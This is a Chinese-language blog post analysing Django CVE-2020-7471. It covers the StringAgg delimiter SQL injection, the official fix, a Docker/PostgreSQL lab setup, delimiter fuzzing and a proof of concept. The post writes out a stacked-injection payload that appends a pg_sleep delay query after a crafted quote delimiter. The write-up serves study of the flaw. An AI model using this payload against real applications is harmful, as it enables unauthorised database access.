前阵子搞小项目有需求把django入了个门,今天看到了个新鲜的django注入漏洞,去了解了一下,不是太复杂,跟着别人的思路做个小文章。
漏洞原因
看官方的介绍。
Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.
漏洞点在聚合函数StringAgg的分隔符delimiter参数,接下来要思考如何去利用这个漏洞。
官方修复
细品官方的修复,毕竟如何修肯定存在它的道理。。。
看StringAgg模板的改动
1 | def __init__(self, expression, delimiter, **extra): |
分隔符使用Value做了处理,我们查看Value的源码
1 | class Value(Expression): |
经Value处理的参数会被加入到sql参数列表中,再由django的过滤机制处理。
其实说到底,漏洞成因就是没有对分隔符做好处理。那接下来我们需要思考如何去触发漏洞。
漏洞触发
首先要快速搭建测试环境,根据官方的说法安装存在漏洞的版本。
然后在服务器上用docker快速部署了一个postgresql。
1 | docker run --name postgres -e POSTGRES_PASSWORD=123456 -p 45002:5432 -d postgres |
配置django环境
1 | django-admin startproject sqlvul_project |
注册我们的app,并配置好数据库
定义一个模型用于测试
记录变动和创建表结构
1 | python manage.py migrate |
下面测试漏洞如何触发,参考了别人的文章,这里按着思路来。
首先创建一些测试数据。
操作数据库可以使用django提供的shell
1 | python manage.py shell |
添加数据
1 | >>> testModel.objects.create(field1="1",field2="a") |
这样有些麻烦,而且我们要写的是poc,那就写一个数据初始化。
1 | import os |
数据库初始化自动添加数据,这个get_or_create()比create()好,细品。
接下来要找出究竟什么分隔符可以触发漏洞。
但要先搞明白StringAgg聚合函数的用法,直接看官方文档。
https://docs.djangoproject.com/en/3.0/ref/contrib/postgres/aggregates/
参考的文章使用的是annotate()分组查询,本文采用的是aggregate()聚合查询,相对简单一些,区别可以自行了解,不在本文讨论范围。
1 | print(testModel.objects.aggregate(result=StringAgg("field1", delimiter=","))) |
现在可以去测试什么分隔符可以触发漏洞了,直接贴出fuzzing代码。
1 | def fuzz(): |
运行结果
1 | [+]Fuzz漏洞分隔符: ['%', "'"] |
结合经验很容易就知道是单引号触发了漏洞。
查看报错,发现是在最后的sql执行时出现了异常。
DEBUG模式跟进调用栈查看最后的sql语句是怎么样的。
处理一下语句,去掉转义。
1 | SELECT STRING_AGG("test_app_testmodel"."field1", ''') AS "result" FROM "test_app_testmodel"; |
接下来就是欢乐的构造环节。
在参考文章中是使用了limit来证明漏洞存在,这里利用pg_sleep()构造一个延时来证明漏洞存在。
1 | SELECT STRING_AGG("test_app_testmodel"."field1", ',') AS "result" FROM "test_app_testmodel";SELECT pg_sleep(2)--') AS "result" FROM "test_app_testmodel"; |
直接写poc。
1 | def poc(): |
运行结果
1 | [+]注入查询结果: {'result': ''} |
漏洞证明完毕。
结尾
先贴出参考并表以致敬。
https://github.com/Saferman/CVE-2020-7471
文中代码基于此小改。
本文代码https://github.com/SNCKER/CVE-2020-7471
随便说两句。本文的注入算是堆叠注入,原本是使用了联合查询注入union select version(),但是version()的数据并不能显示出来,所以采用了延时来证明漏洞。对漏洞的看法,个人感觉危害不大,因为在真实环境中,拥有高级搜索功能且支持用户自定义分隔符的环境还是比较少见的(或者是本人见识少)。倒是可以基于此搭建漏洞靶机,很有想法,有空再实现一下。
若本文的说法有误或不严谨,可联系本人更正,谢谢!